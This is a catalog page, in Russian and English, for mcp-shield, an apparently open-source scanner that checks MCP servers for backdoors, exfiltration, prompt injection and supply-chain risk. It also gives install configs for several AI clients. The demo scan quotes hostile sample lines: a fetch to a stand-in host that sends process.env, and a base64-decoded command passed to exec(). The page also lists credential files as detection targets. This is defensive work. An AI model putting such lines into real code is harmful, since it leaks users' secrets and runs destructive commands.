muhannad-hash/mcp-shield

muhannad-hash/mcp-shield

от muhannad-hash
mcp-shield - сканер безопасности MCP-серверов, выявляющий бэкдоры, утечки данных, инъекции промптов и риски цепочки поставок. Позволяет аудировать npm-пакеты или локальные директории перед подключе...

mcp-shield

A security scanner for MCP servers — detect backdoors, exfiltration, prompt injection, and supply chain risks before they reach your AI.

The MCP ecosystem is growing fast. Not every server on npm is safe. mcp-shield lets Claude audit any MCP server — local or from npm — before you trust it with your files, keys, and context.


What it detects

Category Examples
Exfiltration process.env sent over network, SSH key access, AWS credential reads
Code execution eval(), new Function(), child_process.exec(), dynamic require()
Obfuscation Base64 runtime decoding, hex-encoded payloads, char-code arrays
Sensitive file access .env, id_rsa, browser cookies, ~/.gitconfig
Prompt injection Hidden instructions, zero-width characters, role-switch attacks, jailbreak patterns
Supply chain Package age, download count, maintainer count, CVEs in dependencies

Demo

You: Scan the npm package "some-sketchy-mcp-server" before I install it

Claude (using scan_package):
  ## mcp-shield scan: some-sketchy-mcp-server
  Verdict: DANGEROUS | Findings: 2 critical, 1 high

  ### Code Findings

  #### index.js
  - [CRITICAL] [EXF004] process.env sent over network — possible credential exfiltration (line 47)
    fetch("https://collect.example.com/data", { body: JSON.stringify(process.env) })

  - [CRITICAL] [OBF001] Base64 decode at runtime — decoded content not inspectable (line 12)
    const cmd = Buffer.from("cm0gLXJm...", "base64").toString()

  - [HIGH]     [EXEC004] child_process exec/spawn — shell command execution (line 13)
    exec(cmd)

  ### Supply Chain
  | Published     | 2 days ago       |
  | Downloads/wk  | 3                |
  | Trust Score   | 15/100 — RISKY   |
  Flags:
  - Package published less than 7 days ago
  - Very low weekly downloads (<100)
У этого сервера пока нет списка инструментов.
1.0.4основная
1.0.3
1.0.2
1.0.1
1.0.0

Выберите клиент, чтобы установить muhannad-hash/mcp-shield:

Любой клиент

Конфиг добавления MCP сервера стандартный, обычно он не меняется вообще, поэтому подходит практически к любому ИИ клиенту, поддерживающему MCP.

{
  "mcpServers": {
    "muhannad-hash-mcp-shield-6n3k64a494": {
      "command": "npx",
      "args": [
        "mcp-shield"
      ]
    }
  }
}
CursorCursor

Перейдите по ссылке и сервер автоматически будет добавлен в Cursor. Либо откройте/создайте файл ~/.cursor/mcp.json(%USERPROFILE%\.cursor\mcp.json на Windows) и добавьте конфиг сервера:

{
  "mcpServers": {
    "muhannad-hash-mcp-shield-6n3k64a494": {
      "command": "npx",
      "args": [
        "mcp-shield"
      ]
    }
  }
}
VS Code

Создайте .vscode/mcp.json в проекте (ключ верхнего уровня — servers):

{
  "servers": {
    "muhannad-hash-mcp-shield-6n3k64a494": {
      "type": "stdio",
      "command": "npx",
      "args": [
        "mcp-shield"
      ]
    }
  }
}

Либо добавьте сервер через терминал:

code --add-mcp "{\"name\":\"muhannad-hash-mcp-shield-6n3k64a494\",\"type\":\"stdio\",\"command\":\"npx\",\"args\":[\"mcp-shield\"]}"
ClaudeClaude Desktop

Откройте Settings → Developer → Edit Config — это откроет файл claude_desktop_config.json:

  • macOS: ~/Library/Application Support/Claude/claude_desktop_config.json
  • Windows: %APPDATA%\Claude\claude_desktop_config.json

Впишите сервер и полностью перезапустите Claude Desktop:

{
  "mcpServers": {
    "muhannad-hash-mcp-shield-6n3k64a494": {
      "command": "npx",
      "args": [
        "mcp-shield"
      ]
    }
  }
}
Claude CodeClaude Code

Добавьте сервер одной командой в терминале:

claude mcp add muhannad-hash-mcp-shield-6n3k64a494 -- npx mcp-shield

Либо через JSON-конфиг:

claude mcp add-json muhannad-hash-mcp-shield-6n3k64a494 "{\"command\":\"npx\",\"args\":[\"mcp-shield\"]}"
CodexCodex

Добавьте сервер командой в терминале:

codex mcp add muhannad-hash-mcp-shield-6n3k64a494 -- npx mcp-shield

Либо вручную в ~/.codex/config.toml(%USERPROFILE%\.codex\config.toml на Windows):

[mcp_servers.muhannad-hash-mcp-shield-6n3k64a494]
command = "npx"
args = ["mcp-shield"]
PerplexityPerplexity

MCP доступен подписчикам Perplexity Pro / Max / Enterprise. Локальные серверы — только в приложении для macOS.

  1. Откройте Настройки аккаунта → Connectors.
  2. Установите вспомогательное приложение PerplexityXPC (один раз).
  3. Нажмите Add Connector → вкладка Simple.
  4. В поле Server Name укажите muhannad-hash/mcp-shield, а в поле команды запуска — строку ниже:
npx mcp-shield

Нажмите Save и дождитесь статуса Running.

WindsurfWindsurf

Откройте Windsurf Settings → Cascade → MCP Servers или отредактируйте файл ~/.codeium/windsurf/mcp_config.json:

{
  "mcpServers": {
    "muhannad-hash-mcp-shield-6n3k64a494": {
      "command": "npx",
      "args": [
        "mcp-shield"
      ]
    }
  }
}
ClineCline

В панели Cline нажмите иконку MCP Servers → Configure → Configure MCP Servers (или отредактируйте ~/.cline/mcp.json) и добавьте сервер:

{
  "mcpServers": {
    "muhannad-hash-mcp-shield-6n3k64a494": {
      "command": "npx",
      "args": [
        "mcp-shield"
      ],
      "disabled": false,
      "autoApprove": []
    }
  }
}
Continue

Создайте файл в .continue/mcpServers/ (например muhannad-hash-mcp-shield-6n3k64a494.yaml) или добавьте блок в config.yaml. MCP работает только в режиме agent:

mcpServers:
  - name: muhannad-hash-mcp-shield-6n3k64a494
    command: npx
    args:
      - "mcp-shield"
Zed

Выполните agent: add context server или откройте настройки (zed: open settings file) и добавьте сервер в объект context_servers:

{
  "context_servers": {
    "muhannad-hash-mcp-shield-6n3k64a494": {
      "command": "npx",
      "args": [
        "mcp-shield"
      ]
    }
  }
}

Похожие MCP-сервера

alberthild/shieldapi-mcp

alberthild/shieldapi-mcp

от alberthild

MCP-сервер для безопасности AI-агентов: детекция промпт-инъекций, сканирование навыков на уязвимости цепочки поставок, проверка URL, паролей, email и IP. Бесплатно 10 вызовов в день без регистрации...

JavaScript⭐ 1
willianpinho/mcp-gateway-scan

willianpinho/mcp-gateway-scan

от willianpinho

MCP сервер для сканирования продакшен-готовности agent-шлюзов — читает код и конфиги, оценивает по 7 измерениям (авторизация, устойчивость к сбоям, цепочка поставок, наблюдаемость, расходы, секреты...

TypeScript⭐ 2
Skyrxin/sast-mcp-server

Skyrxin/sast-mcp-server

от skyrxin

MCP сервер для статического анализа безопасности (SAST) — даёт AI-агентам сканировать код на уязвимости с помощью 11 сканеров (Bandit, CodeQL, Trivy и др.). Полезен разработчикам и DevSecOps для по...

Python⭐ 4
piiiico/proof-of-commitment

piiiico/proof-of-commitment

от piiiico

MCP-сервер для оценки рисков цепочки поставок пакетов (npm, PyPI, Rust, Go) через поведенческие сигналы: единственный издатель, давность, частота релизов. Помогает DevSecOps выявить скрытые угрозы ...

TypeScript⭐ 8
shyshlakov/pci-dss-mcp

shyshlakov/pci-dss-mcp

от shyshlakov

MCP-сервер статического анализа Go-кода платежных сервисов. Детектирует нарушения PCI DSS v4.0.1 с привязкой к требованиям. Запускает 12 сканеров и AI-триаж — помогает разработчикам блокировать уязвимости до релиза.

Go⭐ 5
mopanc/depguard

mopanc/depguard

от mopanc

MCP сервер для безопасной работы с зависимостями в AI-агентах. Анализирует уязвимости и вредоносные пакеты, генерирует SBOM и SARIF для защиты от malware и галлюцинаций AI.

TypeScript⭐ 15
© Каталог MCP, 2026. Все права защищены.
Проект не аффилирован с Anthropic и любыми упомянутыми продуктами.
Все названия и торговые марки принадлежат их владельцам.
Контакты для связи: hi@mcp-katalog.ru

Лука Никитин